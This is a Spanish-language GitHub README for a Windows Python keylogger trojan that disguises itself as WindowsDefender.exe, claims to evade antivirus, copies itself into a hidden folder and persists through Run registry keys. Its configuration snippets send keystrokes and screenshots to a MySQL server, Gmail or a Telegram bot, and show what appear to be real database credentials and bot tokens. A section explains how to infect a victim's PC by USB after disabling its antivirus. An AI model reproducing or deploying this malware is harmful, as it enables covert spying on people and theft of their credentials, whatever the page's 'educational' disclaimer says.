Skip to content

[Solo para programadores] Troyano espía | Keylogger solo para Windows, se replica en el sistema y se inicia automaticamente al iniciar sesión. | Envío de registro mediante [Base de Datos], [Gmail] o [BotTelegram].

License

porti420/SpyTrojan_Keylogger

 
 

Repository files navigation

█▀ █▀█ █▄█   ▀█▀ █▀█ █▀█   █ ▄▀█ █▄ █   █▄▀ █▀▀ █▄█ █   █▀█ █▀▀ █▀▀ █▀▀ █▀█
▄█ █▀▀  █     █  █▀▄ █▄█ █▄█ █▀█ █ ▀█   █ █ ██▄  █  █▄▄ █▄█ █▄█ █▄█ ██▄ █▀▄ v5.3.1    

¡ Nota importante !: Ésta herramienta tiene como único proposito general, el aprendizaje de "Seguridad en sistemas informáticos", el creador no se hace responsable por un posible mal uso de ésta herramienta.

Información

  • Nombre: Spy Trojan KeyLogger
  • Documentación: 09/07/2020
  • Versión: 5.3.1
  • Estado: Estable
  • Plataforma: Windows 7, 8.1 y 10
  • Lenguaje: Python 3.8

Carpeta Principal

Archivos


Caracteristicas

  • Indetectable Antivirus: Testeado en: Windows Defender 09/07/2020, Avast, ESET NOD32

  • Envío por DB_MYSQL: Envio de de datos mediante una base de datos MySQL, más información Aquí

    DataBase key

  • Envío por Gmail: Envía el registro de teclas por Gmail en un reg.k. más información aquí.

    Correo ejemplo del Keylogger

  • Segundo Gmail en caso de Error: En casó el correo principal sea bloqueada o tenga x problemas, se usará un segundo correo.

  • Recibe datos por varios correos: Hay una posibilidad de agregar 1 o más correos, y así el registro de teclas se envíe a varios correos a la vez.

  • Verifica conexión a internet: El keylogger verifica si la computadora está conectada a internet, y si ese es el caso envía los datos, en caso contrario, no lo envía,

  • Intervalo de tiempo personalizado:

    • DATABASE: El tiempo recomendado es de 20 a 30 minutos.
    • GMAIL: El tiempo recomendado es de 1:30 a 2 horas mínimo. [Google suele bloquear la cuenta por horas cuando detecta una gran cantidad de correos envíados por día.]
  • Envío del registro prueba de errores: En otros keylogger al momento de enviar el reg.k, éste proceso demora entre 3 a 5 segundos, y en ese transcurso de tiempo el keylogger no obtiene ninguna información de teclas oprimidas, en éste keylogger, ese error está solucionado.

  • Segundo plano: Este keylogger, al ejecutarse en la linea de comando, sí mostrará una consola, solo por detalles de debuggeo, pero al ser compilada de *.py a *.exe el ejecutable resultante se ejecutará en segundo plano

    Segundo plano

  • Disfraz: Al momento de ser convertido de *.py a *.exe. El Keylogger será disfrazado como WindowsDefender.exe con el ícono y la información del programa. ExeCompilado

    Info Info

    StartUP Info

  • Oculto: El Keylogger al iniciar se copia (Solo si ya está en un archivo *exe) a la carpeta "C:\Users\Public\Security\Windows Defender\" , y en esa carpeta encuentras el archivo reg.k.

  • Iniciar automaticamente con el sistema: Modifica el registro de windows, más información aquí.

    StartUp

  • Envio mediante Bot Telegram: Soporte de envio automatico del registro de teclas a un bot especifico. Nota: puedes enviar el registro de teclas simultaneamente a 3 cuentas distintas

  • Screenshot: Toma capturas de pantalla con un intervalo personalizado [Solo valido para Telegram] [hasta 3 cuentas simultaneas]

Caracteristicas que se agregarán en futuras actualizaciones:

  • Soporte de envió a otros buzones de correo: Se insertará un soporte para poder usar Outlook, yahoo u otros servicios de correo
  • Conexión FTP: Envía el archivo reg.k vía FTP.
  • Envía datos mediante FTP: enviará documentos, fotos y videos mediante una conexión FTP, en segundo plano.
  • Contraseñas de Wifi: Obtiene contraseñas guardadas en una laptop o PC
  • Portapapeles: Obtiene el texto del portapapeles.
  • Obtiene contraseñas guardadas en Google Chrome: Obtiene todas las contraseñas guardadas de Google chrome .
  • Auto Destrucción: El keylogger se auto destruirá en una una fecha especifica.

Uso de Recursos de la PC

El programa se repite 2 veces ya que ésta utiza 2 hilos de ejecución

Uso del CPU y RAM



Proceso de preparación:

NOTA: Como requisito mínimo para el aprendizaje de ésta herramienta es saber programar en Python básico y en casó de que use la conexión a la base de datos, pues MySQL básico.

Requerimiento de paquetes de Python3.8:

import socket		# Verifica internet
import threading 	# procesos multihilos
from pynput.keyboard import Listener            # Escucha eventos del teclado
from getpass import getuser     # Obtiene el nombre del usuario
from datetime import datetime   # Devuelve fecha y hora actual
from winreg import OpenKey, SetValueEx, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS, REG_SZ, HKEY_CURRENT_USER # Modifica registros de Windows
import datetime                 # Devuelve fecha y hora actual
import random                   # Genera numeros
import os                       # Lib para copiar archivos
import telepot                  # Telegram API
import yagmail                  # Enviar archivos solo a Gmail
import pymysql                  # Lib connection mysql
import shutil                   # Lib para crear carpetas
import string                   # Lib genera textos
import time                     # Contar segundos
from PIL import ImageGrab       # Toma capturas de pantalla

Explicación:

En este ejemplo solo se mostrará las constantes que deben cambiar:

class Config:
    def __init__(self):
        self.TIME_SCREENSHOT = 30 #[seconds]                    # Tiempo de intervalo de ScreenShot
        self.DELAY  = 1                                         # tiempo de retraso para evitar sobrecargos al iniciar
        self.TIME_SEND = 1 #[minutos]                           # Tiempo de envió del registro
        self.MODE_SEND = 2      # 0 = Gmail
                                # 1 = DataBase                  # Solo se puede usar una opción
                                # 2 = TelegramBot
    class DataBase:  # Clase de Base de datos
        def __init__(self):
            self.HOSTNAME = "bh1g5gnxzw2igrvui8hq-mysql.services.clever-cloud.com"  # HostName
            self.USERNAME = "udwlsyrbtldkznqo"                                      # Username
            self.PASSWORD = "OR2i2dfdgWek0UDiAv4f"                                  # Password
            self.DATABASE = "bh1g5gnxzw2igrvui8hq"                                  # DataBase Name
            self.PORT     = "3306"                                                  # Port
    class Gmail:
        def __init__(self):
            self.GMAIL_1 = "correo1@gmail.com"
            self.PASS_1  = "password1"
            self.GMAIL_2 = "correo2@gmail.com"
            self.PASS_2  = "password2"
            self.GMAIL_3 = "correo3@gmail.com"
            self.PASS_3  = "password3"
          # Solo un correo Recibirá el Registro de Teclas
            self.RECEIVERS = ["receivers1@yahoo.com"]
          # Correos que recibiran el Registro de teclas, pueden ser de 1 a muchos
            self.RECEIVERS = ["receivers1@yahoo.com","receivers2@gmail.com","receivers3@hotmail.com"]
    class TelegramBot:
        def __init__(self):
            self.ID   = 833456944                                                     # ID Principal [Obligatorio]
            self.ID_2 = 000000000                                                     # ID secundario [Opcional]
            self.ID_3 = 000000000                                                     # ID Terciario  [Opcional]
            self.TOKEN = "1345614169:AAE7O_jRBhIkq_minXh52Ws2SV3wlPfp844"             # TOKEN de tu Bot [Obligatorio]
            # Personalize
            self.LEN_TEXT = 3000  #    [Longitud maxima por mensaje es de = 4000] # Solo se enviará el registro si sobrepasa la longitud especificada

ScreenShot [Solo Telegram]

self.SCREENSHOT = True                                  # Activar o desactivar Screenshot
self.TIME_SCREENSHOT = 30 #[seconds]                    # Tiempo de intervalo de ScreenShot
self.DELAY  = 1                                         # tiempo de retraso para evitar sobrecargos al iniciar
self.TIME_SEND = 1 #[minutos]                           # Tiempo de envió del registro
self.MODE_SEND = 2      # 0 = Gmail
                        # 1 = DataBase                  # Solo se puede usar una opción
                        # 2 = TelegramBot

Escoge [GMAIL], [DataBase] o [Telegram]:

  • Por ahora solo podemos escoger el envío del registro o bien por una conexión a una Base de datos, Gmail o BotTelegram no podemos escoger dos o las tres al mismo tiempo.

  • Buscamos la siguiente función y escogemos [0 = Gmail], [1 = DataBase] o [2 = BotTelegram]

    # Importante
    self.TIMESEND = 5 #[minutos]                                                # Tiempo de envió del registro
    self.MODE = 0   # 0 = Gmail
                    # 1 = DataBase                                            # Solo se puede usar una opción
                    # 2 = TelegramBot

[Configuración] Gmail

  1. Es de suma urgencia habilitar el acceso a apps menos seguras de google, la cual lo puedes hacer desde éste link. En caso no lo habilites, el keylogger no podrá iniciar sesión en su Gmail

  2. Abra el archivo WindowsDefender.py en su editor de texto.

    class Gmail:
        def __init__(self):
            self.GMAIL_1 = "correo1@gmail.com"
            self.PASS_1  = "password1"
            self.GMAIL_2 = "correo2@gmail.com"
            self.PASS_2  = "password2"
            self.GMAIL_3 = "correo3@gmail.com"
            self.PASS_3  = "password3"
          # Solo un correo Recibirá el Registro de Teclas
            self.RECEIVERS = ["receivers1@yahoo.com"]
          # Correos que recibiran el Registro de teclas, pueden ser de 1 a muchos
          # self.RECEIVERS = ["receivers1@yahoo.com","receivers2@gmail.com","receivers3@hotmail.com"]

[Configuración] Database MySQL

  1. Debes crearte una cuenta gratuita en CleverCloud, cabe destacar que solo tenemos 10MB de almacenamiento, se recomienda, vaciar los datos cada vez que podamos, o utilizar otra base de datos.

    Crear nueva base de datos

  2. Select a MySQL =>

    Select Type DataBASE

  3. Creamos una Base de Datos gratuita o pagamos por el servicio, damos a NEXT.

    Create Free and Buy

  4. Escribirmos el nombre para reconocer la base de datos.

    Name DataBase

  5. Obtenemos los datos de conexión.

    Clevercloud

  6. Descargamos e instalamos HeidiSQLy creamos una nueva sesión.

  7. Creamos una nueva tabla con el Nombre= keyLog y guardamos.

  8. Creamos los siguientes tipos de datos:

    # No olvidar que el id debe ser autoincremento
    l_id        // INT          [Llave Primaria]  [Autoincremento]
    l_user      // CHAR         [50 Caracteres] 
    l_time      // CHAR         [50 Caracteres]
    l_log       // MEDIUMTEXT   [Acepta 16.777.215 Caracteres]
                // LONGTEXT     [Acepta 4,292.967.295 Caracteres - Aprox 4GB de Texto]

  9. Se debería ver así:

    info Database

  10. Ahora entramos a nuestro archivo WindowsDefender.py y buscamos y colocamos los datos de tu base de datos:

        # Importante
        self.TIMESEND = 26 #[minutos]                                                # Tiempo de envió del registro
        self.MODE = 1     # 0 = Gmail
                          # 1 = DataBase                                            # Solo se puede usar una opción
                          # 2 = TelegramBot
    class DataBase:  # Clase de Base de datos
        def __init__(self):
            self.HOSTNAME = "bh1g5gnxzw2igrvui8hq-mysql.services.clever-cloud.com"  # HostName
            self.USERNAME = "udwlsyrbtldkznqo"                                      # Username
            self.PASSWORD = "OR2i2dfdgWek0UDiAv4f"                                  # Password
            self.DATABASE = "bh1g5gnxzw2igrvui8hq"                                  # DataBase Name
            self.PORT     = "3306"                                                  # Port
  11. Si al ejecutar el keylogger todo salió bien, podemos ver en la base de datos el registro de teclas

    Fin

    Fin

[Configuración] BotTelegram

  1. Entramos a BotFather y creamos un nuevo bot.

    botFather

  2. Obtenemos nuetro token

  3. Ahora obtenemos nuestro Chat ID, esto se realiza para que solo el registro de teclas nos llegue a nosotros y no a cualquiera que encuentre el bot.

  4. Buscamos el Bot llamado Chat ID Echo y obtenemos nuestro Chat ID

    CHAT ID

  5. Ya tenemos nuestro Token del bot y nuestro Chat ID ahora tenemos que abrir nuestro archivo WindowsDefender.py y colocar esos datos siguientes métodos:

    NOTA: Podemos tener hasta 3 ID distintos y a todos les llegaran los mismos datos, si solo usará uno, no modifique los valores del ID_2 e ID_3

    # Importante
        self.TIMESEND = 26 #[minutos]                                                # Tiempo de envió del registro
        self.MODE = 2     # 0 = Gmail
                          # 1 = DataBase                                            # Solo se puede usar una opción
                          # 2 = TelegramBot
    
        class TelegramBot:
        def __init__(self):
            self.ID   = 831756903                                                     # ID Principal [Obligatorio]
            self.ID_2 = 000000000                                                     # ID secundario [Opcional]
            self.ID_3 = 000000000                                                     # ID Terciario  [Opcional]
            self.TOKEN = "1159435940:AAHKZLqDuuk4XBYHUx2GmQei0-RoRvis2v8"             # TOKEN de tu Bot [Obligatorio]
    
    
    # ************ Zona Telegram ************* 
  6. Buscamos nuestro bot y la iniciamos...

    Buscando nuestro bot

    iniciando bot

  7. Ejemplo del funcionamiento

    Ejemplo de funcionamiento telegram

Modo Debugger

Si ya configuró o bien la base de datos, Gmail o Telegram, si deseas saber si todo está Ok, pues ejecuta el archivo Ejecuta.bat, esta ejecutará el SpyTrojanKeylogger.py en modo debugg, la cual mostrará información en la consola:

  • Mensaje de Error o Exito de [StartUp]
  • Mensaje de Error o Exito de la caracteristica Trojan
  • Teclas oprimidas a tiempo real
  • Mensaje de Error o Exito al envía el registro por Gmail
  • Mensaje de Error o Exito al conectarse con la base de datos.
  • Mensaje de Error o Exito al envíar el registro mediante Telegram
  • Otros posibles errores de import lib

[Si tiene problemas con las librerías intenta reinstalar python e instalar las librerías manualmente.]

asd

Convertir *.py a *.exe

Una vez todo configurado, lo siguiente es convertir nuestro archivo py a un exe y en el proceso disfrazarlo.

  • Ejecutamos el archivo:

    Compile.bat

    Compile ejecutandose

  • Luego de terminar aparecerá en la consola Press any key to continue...

    Complile.bat terminado

  • Regresamos a la carpeta principal y notamos que tenemos nuevas carpetas y archivos, las cuales son archivos caché sin ninguna importancia, donde e encuentrá nuestro troyano es dentro de la carpeta EXE Final.

    Carpeta final

  • Compilación terminada:

Método de infección:

¿Cómo infecto a la victima?

Final files

Nota: No cambiar de nombre al archivo WindowsDefender.exe, si usted le cambia el nombre, el Keylogger quedará obsoleto.

  • Usten guardará el archivo en un USB.
  • Conectará el USB a la [PC] a infectar.
  • Se recomienda desactivar el antivirus o agregar una exclusión en al siguiente ruta: "C:\Users\Public\Security\Windows Defender".
  • Lo siguiente es ejecutar el archivo WindowsDefender.exe en el USB, el Keylogger se replicará en la siguiente ruta "C:\Users\Public\Security\Windows Defender", Se recomienda no sacar el USB al instante ya que el Keylogger se estará replicando en la ruta.

NOTA: Al ejecutar el archivó, ésta automaticamente modificará el registro de windows para que se inicie siempre al prender la computadora.

El Keylogger modificará la siguiente ruta del registro "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" por lo cual necesitará permisos de administrador, por ende se recomienda que la primera ejecución se realice con permisos de administrador, en caso de que no lo ejecute con permisos de administrador, el Keylogger modificará la siguiente ruta "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

Explicación:

  • HKEY_LOCAL_MACHINE: El Keylogger se ejecutará en todos los usuarios exitentes y los nuevos usuarios de la computadora
  • HKEY_CURRENT_USER: El Keylogger solo se ejecutará en el usuario actual, si se llegará a crear otro usuario, el Keylogger Solo funcionará en el usuario principal

By SebastianEPH

Nota: Contacteme solo si encontró un bug o desea aportar al repositorio, gracias.

About

[Solo para programadores] Troyano espía | Keylogger solo para Windows, se replica en el sistema y se inicia automaticamente al iniciar sesión. | Envío de registro mediante [Base de Datos], [Gmail] o [BotTelegram].

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 97.7%
  • C 1.5%
  • C++ 0.4%
  • HTML 0.4%
  • Batchfile 0.0%
  • Classic ASP 0.0%